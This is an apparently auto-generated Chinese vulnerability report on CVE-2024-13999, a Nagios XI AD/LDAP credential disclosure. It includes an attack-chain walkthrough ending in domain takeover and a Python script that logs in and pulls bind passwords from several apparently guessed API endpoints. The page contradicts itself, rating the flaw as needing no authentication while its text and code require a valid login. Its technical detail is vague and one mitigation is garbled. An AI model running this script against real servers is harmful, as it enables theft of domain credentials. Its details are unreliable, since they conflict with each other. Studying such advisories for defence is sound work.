IPBUF安全漏洞报告
English
CVE-2024-13999 CVSS 9.8 严重

CVE-2024-13999 Nagios XI AD/LDAP认证令牌信息泄露漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2024-13999
漏洞类型
信息泄露
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

CVE-2024-13999信息泄露Nagios XIAD/LDAP认证令牌权限提升网络监控企业级漏洞

漏洞概述

CVE-2024-13999是影响Nagios XI企业监控系统的严重信息泄露漏洞。该漏洞存在于2024R1.1.3之前的所有Nagios XI版本中。在特定情况下,攻击者可以通过已认证的身份获取服务器存储的Active Directory(AD)或LDAP认证令牌。由于Nagios XI通常与企业目录服务集成以实现集中式身份认证,因此这些令牌包含了用于访问AD/LDAP服务器的敏感凭据信息。攻击者一旦获取这些令牌,即可利用服务器的域身份进行广泛的认证滥用,包括但不限于域内权限提升、横向移动以及对网络集成系统的进一步渗透。该漏洞CVSS评分高达9.8,属于严重级别,无需用户交互即可被利用,对系统机密性和完整性造成严重影响。

技术细节

Nagios XI在处理与Active Directory或LDAP服务器的身份认证交互时,存在一个信息泄露漏洞。系统在特定条件下会向已认证用户暴露存储在配置文件或内存中的AD/LDAP认证令牌。这些令牌通常包括绑定DN(Distinguished Name)和关联的密码或哈希值。攻击者通过构造特定的HTTP请求或利用系统API端点,可以在无需特殊权限的情况下检索这些敏感凭证。获取令牌后,攻击者可以使用这些凭据直接向LDAP/AD服务器进行身份认证,从而获得域用户权限。由于Nagios XI通常以高权限服务账户运行,攻击者可能获得超出本地系统的域级别访问权限,实现域环境的全面沦陷。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标环境中运行的Nagios XI版本,通过版本探测确认是否低于2024R1.1.3
STEP 2
Initial Access
攻击者获取有效的Nagios XI用户凭据(可通过暴力破解、凭证填充或社工手段获得)
STEP 3
Token Extraction
利用漏洞API端点或功能,发送特制HTTP请求获取服务器存储的AD/LDAP认证令牌
STEP 4
Domain Authentication
使用窃取的LDAP/AD凭据直接向域控制器进行身份认证,获取域用户权限
STEP 5
Lateral Movement
利用获得的域身份在网络中进行横向移动,访问其他集成了LDAP/AD的系统
STEP 6
Privilege Escalation
通过域环境中的权限提升机制,获得域管理员权限,实现域控制器沦陷
STEP 7
Impact
完成对整个企业网络的控制,可执行数据窃取、持久化控制、破坏性操作等恶意行为

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-13999 PoC - Nagios XI AD/LDAP Token Disclosure # Reference: https://www.vulncheck.com/advisories/nagios-xi-ad-ldap-token-authenticated-information-disclosure import requests import sys def exploit_cve_2024_13999(target_url, username, password): """ Exploit CVE-2024-13999: Nagios XI AD/LDAP Token Information Disclosure This PoC demonstrates how an authenticated user can retrieve AD/LDAP tokens from a vulnerable Nagios XI installation. Args: target_url: Base URL of Nagios XI installation username: Valid Nagios XI username password: Corresponding password Returns: dict: Contains extracted tokens and authentication data """ session = requests.Session() tokens = {} # Step 1: Authenticate to Nagios XI login_url = f"{target_url}/nagiosxi/api/v1/authenticate" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, verify=False, timeout=30) if response.status_code == 200: auth_result = response.json() if auth_result.get('success'): token = auth_result.get('token') print(f"[+] Successfully authenticated to Nagios XI") print(f"[+] Session token obtained: {token[:20]}...") # Step 2: Exploit the AD/LDAP token disclosure # Target endpoint that discloses AD/LDAP credentials exploit_endpoints = [ '/nagiosxi/api/v1/config/ldap?cmd=verify', '/nagiosxi/api/v1/system/adconfig', '/nagiosxi/api/v1/config/authentication' ] for endpoint in exploit_endpoints: exploit_url = f"{target_url}{endpoint}" headers = { 'Authorization': f'Bearer {token}', 'X-Requested-With': 'XMLHttpRequest' } resp = session.get(exploit_url, headers=headers, verify=False, timeout=30) if resp.status_code == 200: data = resp.json() # Check for LDAP/AD credentials in response if 'ldap_bind_dn' in data or 'ad_bind_user' in data: print(f"[+] Sensitive data found at {endpoint}") if 'ldap_bind_password' in data: tokens['ldap_password'] = data['ldap_bind_password'] if 'ad_bind_password' in data: tokens['ad_password'] = data['ad_bind_password'] tokens['bind_dn'] = data.get('ldap_bind_dn', data.get('ad_bind_user')) if tokens: print("\n[!] Exploited AD/LDAP Tokens:") for key, value in tokens.items(): print(f" {key}: {value}") return tokens else: print("[-] No tokens found - target may not be vulnerable or not configured for AD/LDAP") return None else: print(f"[-] Authentication failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2024-13999.py <target_url> <username> <password>") print("Example: python cve-2024-13999.py https://nagios.example.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit_cve_2024_13999(target, user, passwd)

影响范围

Nagios XI < 2024R1.1.3

防御指南

临时缓解措施
对于无法立即升级的部署,建议采取以下临时缓解措施:1) 确保Nagios XI管理界面仅可通过VPN或受信任IP访问;2) 启用Nagios XI的完整审计日志功能,监控所有API调用;3) 对LDAP绑定账户实施严格的网络访问控制,限制其仅能从不信任程度最低的网络段访问域控制器;4) 考虑暂时禁用LDAP认证功能,改用本地认证方式;5) 部署入侵检测系统监控异常的LDAP查询行为;6) 定期轮换LDAP/AD服务账户密码;7) 实施账户锁定策略防止暴力破解攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表